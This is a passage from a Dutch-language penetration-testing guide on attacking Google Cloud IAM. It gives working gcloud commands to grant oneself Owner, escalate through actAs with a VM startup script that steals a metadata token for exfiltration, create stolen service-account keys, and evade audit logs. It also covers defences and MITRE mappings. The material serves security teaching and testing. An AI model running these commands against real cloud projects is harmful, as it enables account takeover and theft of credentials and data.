print(f\"{b['role']}: {', '.join(b['members'])}\")"
# Jezelf Owner maken (als je setIamPolicy hebt)
gcloud projects add-iam-policy-binding PROJECT_ID \
--member="user:$(gcloud config get-value account)" \
--role="roles/owner"5.9.3 actAs Permission
iam.serviceAccounts.actAs is de meest onderschatte
permission in GCP. Het stelt je in staat om resources aan te maken die
draaien als een service account. Als dat service account meer rechten
heeft dan jij, is dat privilege escalation.
# Scenario: je hebt compute.instances.create + iam.serviceAccounts.actAs
# Het doel-service account heeft Owner
# Maak een VM aan met het hoog-geprivilegieerde service account
gcloud compute instances create escalation-vm \
--zone=us-central1-a \
--service-account=high-priv-sa@PROJECT.iam.gserviceaccount.com \
--scopes=cloud-platform \
--metadata=startup-script='#!/bin/bash
curl -s -H "Metadata-Flavor: Google" \
"http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token" > /tmp/token.json
# Exfiltreer het token naar een attacker-controlled endpoint'
# Of: maak een Cloud Function met het service account
gcloud functions deploy escalation-func \
--runtime=python311 \
--trigger-http \
--allow-unauthenticated \
--service-account=high-priv-sa@PROJECT.iam.gserviceaccount.com \
--entry-point=main \
--source=./evil_function/5.9.4 Service Account Key Creation
Als je iam.serviceAccountKeys.create hebt op een service
account, kun je een nieuwe key aanmaken en downloaden — waarmee je
permanent als dat service account kunt authenticeren:
# Nieuwe key aanmaken voor een hoog-geprivilegieerd service account
gcloud iam service-accounts keys create stolen-key.json \
--iam-account=high-priv-sa@PROJECT.iam.gserviceaccount.com
# Authenticeren met de key
gcloud auth activate-service-account --key-file=stolen-key.json
# Verifieer
gcloud auth list
gcloud projects get-iam-policy PROJECT_ID5.9.5 Custom Roles met Escalatiepotentieel
Custom roles kunnen permissions bevatten die samen meer macht geven dan de maker bedoelde:
# Alle custom roles in het project
gcloud iam roles list --project=PROJECT_ID
# Details van een custom role
gcloud iam roles describe ROLE_ID --project=PROJECT_ID
# Zoek naar gevaarlijke combinaties
gcloud iam roles describe ROLE_ID --project=PROJECT_ID \
--format="json(includedPermissions)" | \
python3 -c "
import sys,json
data = json.load(sys.stdin)
perms = data.get('includedPermissions',[])
dangerous = {
'iam.serviceAccounts.actAs': 'SA impersonation',
'iam.serviceAccountKeys.create': 'Key creation',
'resourcemanager.projects.setIamPolicy': 'Policy modification',
'iam.serviceAccounts.getAccessToken': 'Token generation',
'iam.serviceAccounts.implicitDelegation': 'Delegation chain',
'iam.serviceAccounts.signBlob': 'Blob signing (token forge)',
'iam.serviceAccounts.signJwt': 'JWT signing (token forge)',
'compute.instances.setMetadata': 'SSH key injection',
'deploymentmanager.deployments.create': 'Deploy as SA',
'cloudfunctions.functions.create': 'Function as SA',
'run.services.create': 'Cloud Run as SA',
}
for perm in perms:
for dp, desc in dangerous.items():
if dp in perm:
print(f'[!] {perm} -> {desc}')
"5.9.6 Rhino Security Overzicht
De meest voorkomende escalatiepaden:
| Permission | Escalatiemethode | Impact |
|---|---|---|
iam.serviceAccounts.actAs + compute create |
VM aanmaken als SA | SA-level access |
iam.serviceAccountKeys.create |
Key aanmaken voor SA | Permanente SA access |
iam.serviceAccounts.getAccessToken |
Token genereren voor SA | Tijdelijke SA access |
iam.serviceAccounts.signBlob |
Willekeurige blobs ondertekenen | Token forge |
iam.serviceAccounts.signJwt |
JWTs ondertekenen | Token forge |
iam.serviceAccounts.implicitDelegation |
Impersonation chain | Transitieve escalatie |
resourcemanager.projects.setIamPolicy |
IAM policy wijzigen | Volledige controle |
compute.instances.setMetadata |
SSH keys injecteren | Command execution |
deploymentmanager.deployments.create |
Deployment Manager | Deploy als project SA |
cloudfunctions.functions.create +
actAs |
Function als SA | SA-level access |
5.10 Cloud Audit Logs
5.10.1 Wat Wordt Gelogd
GCP heeft vier typen audit logs:
| Type | Standaard aan? | Wat het logt | Kosten |
|---|---|---|---|
| Admin Activity | Ja, altijd | IAM-wijzigingen, resource creatie/verwijdering | Gratis |
| System Event | Ja, altijd | Google-initiated system events | Gratis |
| Data Access | Nee | Lezen/schrijven van data (BigQuery, Storage, etc.) | Betaald |
| Policy Denied | Ja, altijd | Geweigerde requests door IAM of org policy | Gratis |
Het kritieke punt: Data Access logs staan standaard uit. Dat betekent dat het ophalen van secrets uit Secret Manager, het lezen van Cloud Storage-objecten, en het queryen van BigQuery-datasets standaard niet worden gelogd. Dit is een enorm gat.
# Audit log configuratie bekijken
gcloud logging sinks list
gcloud projects get-iam-policy PROJECT_ID --format=json | \
python3 -c "
import sys,json
policy = json.load(sys.stdin)
audit = policy.get('auditConfigs',[])
if not audit:
print('[!] Geen audit configuratie gevonden (Data Access logs waarschijnlijk uit)')
for a in audit:
print(f\"Service: {a.get('service','')}\")
for c in a.get('auditLogConfigs',[]):
print(f\" {c.get('logType','')}\")
"5.10.2 Wat Niet Wordt Gelogd
Zelfs met alle logs ingeschakeld zijn er gaps:
- Metadata server access wordt niet gelogd als een cloud audit event
- Intra-project traffic tussen GCE VMs wordt niet gelogd door VPC Flow Logs (tenzij expliciet ingeschakeld)
- Container-interne activiteit in GKE wordt niet gelogd door GCP (daarvoor heb je Kubernetes audit logs nodig)
- Service account token gebruik wordt gelogd met de service account identity, niet met de identity van de persoon die het token heeft gestolen
5.10.3 Evasion Technieken
# Vermijd Data Access logs (als ze uit staan): lees gewoon data
# De meeste organisaties hebben deze logs uit vanwege kosten
# Gebruik service account impersonation: je acties verschijnen
# als de service account, niet als jouw user
gcloud compute instances list \
--impersonate-service-account=SA@PROJECT.iam.gserviceaccount.com
# Admin Activity logs zijn niet te vermijden, maar je kunt:
# - Acties spreiden over tijd
# - Gebruik maken van bestaande service accounts (minder opvallend)
# - Acties uitvoeren tijdens kantooruren (opgaan in normaal verkeer)IB Tip: In je rapport is het belangrijk om te documenteren welke logs zijn ingeschakeld en welke niet. Het ontbreken van Data Access logs is op zichzelf een bevinding — het betekent dat de organisatie niet kan detecteren of data wordt geexfiltreerd.
Verdedigingsmaatregelen
Organization Policies
Organization Policies zijn beperkingen die op organisatie-niveau worden afgedwongen. Ze overschrijven IAM: zelfs als een IAM policy iets toestaat, kan een Organization Policy het blokkeren.
| Policy | Beschrijving | Welke aanval het mitigeert |
|---|---|---|
constraints/iam.disableServiceAccountKeyCreation |
Blokkeer aanmaken van SA-keys | Key theft |
constraints/compute.requireOsLogin |
Verplicht OS Login voor SSH | SSH key injection |
constraints/storage.uniformBucketLevelAccess |
Verplicht uniform access | ACL-misconfiguratie |
constraints/iam.allowedPolicyMemberDomains |
Beperk leden tot specifieke domeinen | allUsers/allAuthenticatedUsers |
constraints/compute.requireShieldedVm |
Verplicht Shielded VMs | Boot-level attacks |
constraints/cloudfunctions.allowedIngressSettings |
Beperk function ingress | Publieke function invocatie |
# Actieve Organization Policies bekijken
gcloud resource-manager org-policies list --organization=ORG_ID
# Specifieke policy details
gcloud resource-manager org-policies describe constraints/iam.disableServiceAccountKeyCreation \
--organization=ORG_IDVPC Service Controls
VPC Service Controls creëren een “perimeter” rond GCP resources die data exfiltratie voorkomt. Resources binnen de perimeter kunnen niet communiceren met resources buiten de perimeter, zelfs niet als IAM het toestaat.
# VPC Service Controls perimeters bekijken
gcloud access-context-manager perimeters list --policy=POLICY_ID
# Perimeter details
gcloud access-context-manager perimeters describe PERIMETER_NAME --policy=POLICY_IDVPC Service Controls zijn de meest effectieve verdediging tegen data exfiltratie in GCP. Ze voorkomen dat een aanvaller met leesrechten op BigQuery de data kopieert naar een eigen project. Het is een harde grens, niet een zachte suggestie.
BeyondCorp Enterprise
BeyondCorp is Google’s implementatie van zero trust: geen netwerk is vertrouwd, geen device is vertrouwd, elke toegangspoging wordt geëvalueerd op basis van identity, device trust, en context. Het is de GCP-variant van Azure Conditional Access, maar met een focus op continue evaluatie in plaats van point-in-time checks.
Overige Aanbevelingen
| Maatregel | Beschrijving |
|---|---|
| Disable default SA | Gebruik dedicated SAs met minimale rechten |
| Enable Data Access logs | Ondanks de kosten, essentieel voor detectie |
| Workload Identity in GKE | Voorkom node SA-misbruik vanuit pods |
| Uniform bucket access | Voorkom ACL-inconsistenties |
| Disable SA key creation | Via Organization Policy |
| Secret Manager | Migreer van env vars naar Secret Manager |
| Binary Authorization | Voorkom deployment van ongetrusted containers |
| Monitor SA key usage | Alert op ongebruikelijke SA-authenticatie |
Referentietabel
| Onderwerp | Techniek | Tool | MITRE ATT&CK | Moeilijkheid |
|---|---|---|---|---|
| Project/org enumeratie | Resource discovery | gcloud CLI | T1580 (Cloud Infrastructure Discovery) | Laag |
| IAM policy analyse | Permission mapping | gcloud, custom scripts | T1087.004 (Cloud Account Discovery) | Laag |
| Service account key theft | Credential file discovery | find, grep, gcloud | T1552.001 (Credentials in Files) | Laag |
| SA impersonation | Token generation via actAs | gcloud CLI | T1098.003 (Additional Cloud Roles) | Gemiddeld |
| SA key creation | Persistent SA access | gcloud CLI | T1098.001 (Additional Cloud Credentials) | Gemiddeld |
| Metadata server token theft | IMDS exploitation | curl | T1552.005 (Cloud Instance Metadata API) | Laag |
| Startup script secrets | Credential in metadata | curl, gcloud | T1552.005 (Cloud Instance Metadata API) | Laag |
| SSH key injection | Metadata modification | gcloud CLI | T1098.004 (SSH Authorized Keys) | Gemiddeld |
| Cloud Function secrets | Environment variable theft | gcloud CLI | T1552.001 (Credentials in Files) | Laag |
| Cloud Function source | Source code access | gcloud, gsutil | T1213 (Data from Information Repositories) | Gemiddeld |
| Public bucket access | Storage enumeration | curl, gsutil | T1530 (Data from Cloud Storage) | Laag |
| Signed URL abuse | Token reuse | curl | T1550.001 (Application Access Token) | Laag |
| GKE RBAC abuse | Kubernetes privilege escalation | kubectl | T1078.004 (Cloud Accounts) | Gemiddeld-Hoog |
| GKE metadata access | Pod → node escalation | curl | T1552.005 (Cloud Instance Metadata API) | Gemiddeld |
| BigQuery data access | Cross-project queries | bq CLI | T1530 (Data from Cloud Storage) | Gemiddeld |
| setIamPolicy abuse | Direct policy modification | gcloud CLI | T1098.003 (Additional Cloud Roles) | Laag (als je de perm hebt) |
| actAs escalation | Resource creation as SA | gcloud CLI | T1098.003 (Additional Cloud Roles) | Gemiddeld |
| Custom role privesc | Overprivileged role abuse | gcloud CLI | T1078.004 (Cloud Accounts) | Gemiddeld |
| Audit log evasion | SA impersonation, timing | gcloud CLI | T1562.008 (Disable Cloud Logs) | Hoog |
| Data exfiltratie | Storage/BQ export | gsutil, bq | T1537 (Transfer Data to Cloud Account) | Gemiddeld |
De cloud is geen magie. Het is andermans datacenter met een mooie API erboven. De aanvallen zijn anders dan on-premises — geen NTLM-hashes, geen Kerberos-tickets, geen vergeten service accounts met wachtwoorden uit 2019. Maar de patronen zijn hetzelfde: te brede rechten, vergeten configuratie, en het onwrikbare geloof dat iemand anders het wel in de gaten houdt. Niemand houdt het in de gaten. Behalve wij.